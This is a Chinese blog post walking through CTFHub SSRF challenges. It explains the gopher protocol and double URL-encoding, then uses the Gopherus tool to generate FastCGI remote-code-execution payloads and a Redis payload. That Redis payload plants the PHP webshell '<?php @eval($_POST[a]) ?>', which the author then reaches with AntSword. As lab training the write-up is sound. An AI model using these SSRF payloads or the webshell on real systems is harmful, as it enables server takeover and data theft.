SSRF2-POST请求(gopher协议+POST请求+FastCGI协议+redis协议+kali里的gopherus工具生成协议gopher使用)

一.题目链接:

https://www.ctfhub.com/#/skilltree
这里也是把所有的post树下所属的链接题目都写一遍

二.基础知识

2.1 gopher协议

  • 概念
      1.gopher协议是一种信息查找系统,它将internet上的文件组织成某种索引,方便用户从internet的一处带到另一处。但在www出现后,gopher就失去了昔日的辉煌。
      2.现在它已过时。它只支持文本,不支持图像。
      3.gopher协议可以做很多事情,特别是在ssrf中可以发挥很多重要的作用,利用此协议可以攻击内网的FTP,Telnnet,Redis,Memcache,也可进行GET,POST请求
      4.可以通过gopher协议将get请求伪装成post请求,他是SSRF利用中一个最强大的协议(俗称万能协议),可用于反弹shell
  • 语法gopher://127.0.0.1:80/_{TCP/IP数据流}
  • 注意
      1.这里的_不能省略
      2.这里的端口默认是70,但要具体情况具体而定,http就是80https就是443
      3.如果发起post请求,回车换行符就必须要使用%0D%0A,告诉计算机你已经执行完了。如果多个参数,参数之间的&也需要进行URL编码
  • 需要的条件:在构造的时候,只需要保留这几样必要的东西就行
      gopher : //127.0.0.1:80/_POST /flag.php HTTP/1.1
      Host : challenge-0cd16c73a7cf875a.sandbox.ctfhub.com:10800
      Content-Type : application/x-www-form-urlencoded
      Content-Length : 36
      注意:这里一般要进行两次转码,为什么呢?因为后面跟的是{TCP/IP数据流},Gopher协议基于TCP传输,当构造Gopher URL时,需将请求(如HTTP)封装为符合TCP流格式的字符串,换行符必须为\r\n(%0D%0A),特殊字符需要编码。我们的目的是想要传递整个完整的gopher协议,而不是你解码完后就报错了,所以当第一次解码后,我们要将%0A变成%0D%0A,为了避免%被解码,我们还要再进行以此编码,确保完整性。

2.2 FastCGI协议

  • 概念:是一种改进的CGI协议,用于高效处理动态Web请求(如PHP,Python脚本),它的核心作用是连接Web服务器和后端应用程序,解决传统CGI的性能瓶颈。
  • 如何利用:一般会结合gopherus这个工具进行攻击,这个工具下个知识点附安装使用链接,那具体的使用效果是怎样的呢?
      1.python2 gopherus.py,这个工具和py2结合使用,我们用这个命令查看输入的命令是怎样
      2../gopherus.py --exploit fastcgi,用该工具生成一个针对FastCGI服务的漏洞的RCE(远程登录)playload
      3./var/www/html/index.php,首先要输入一个合法有效的路径,一般都用被攻网页的web目录 的php文件,为什么需要?因为FastCGI协议请求必须关联一个合法的脚本文件,Gopherus会利用文件伪造请求,绕过权限检查
      4.ls /,最后就是输入你想要执行的命令吗,他就可以生成一个gopher协议啦

2.3 gopherus工具

安装教程链接:https://blog.csdn.net/weixin_68416970/article/details/139440201

2.4 redis协议

三.开始解题

3.1.POST请求

1.先阅读题目,这里我们知道该网页是http,所以访问的端口是80,我们进入到flag.php网页看看有没有什么端倪


2.将这里的key输入框内,切记输入的时候输入的是key后面的数字,而不是将key=都输入进去

3.先通过抓包,去把我们的key输入进去后,将前面的内容添加如下内容,这里的key就是自己输入的内容,

4.通过url编码,这里推荐用虾米那的编码网站,因为驻波试了好几次都没成功的原因是编码的问题
推荐一个url编码网站:https://devtool.tech/url-encode
5.转换完后,在将所有的%0A变为%0D%0A,结尾如果没有%0D%0A,就去增加,然后再编码一次

6.将两次编码的结果拼接在url的后面,成功得到flag

3.2文件上传

1.阅读题目,告诉我们需要上传一个文件到flag.php,那就开搞

2.难道是要写一句话木马??没有发送按钮??那就自己无中生有一个吧


3.代码语句如下

<input type="submit" name="submit">


4.将我们的木马文件上传,其实这里上传什么文件都可,用burp抓包

5.接下来的步骤就和post那关的一样步骤了,构造gopher协议,开头添加协议,删除没用的部分,进行二次编码

6.将构造后的url发送,成功得到flag

3.3. FastCGI协议

具体的命令如下:
./gopherus.py --exploit fastcgi
/var/www/html/index.php
ls /


1.将第一次得到的gopher输入并没反应

2.那就再编码一次再输入可以看见已经有flag的相关文件了

3.接下来我们查看这个flag文件,步骤还是和上面一样,要把生成的gopher协议再url编码一遍

./gopherus.py --exploit fastcgi
/var/www/html/index.php
cat /flag文件


哦耶,得到flag~~

3.4. redis协议

1.这道题用gopherus工具写木马,这里最好不要回车用默认的木马,因为不知道密码,再用蚁剑连接

//这里使用gopherus工具全过程如下,过程图就不贴了,和上面的类似
输入利用针对redis漏洞的命令:python2 gopherus.py --exploit redis
输入:PHPshell
回车就行:/var/www/html
写一句话木马,这里的a就是密码,待会要输入在蚁剑里的密码栏里的:<?php @eval($_POST[a]) ?>

将生成的gopher协议在进行url编码
把结果复制下来,粘贴到url后去访问,然后叉掉页面,直接访问shell.php文件,为什么访问shell.php呢?因为这是固定的格式,不能自定义哦~出现木马,就说明植入成功,下面有图

最后用蚁剑连接就行了



posted @ 2025-04-20 14:34  sun010  阅读(373)  评论(1)    收藏  举报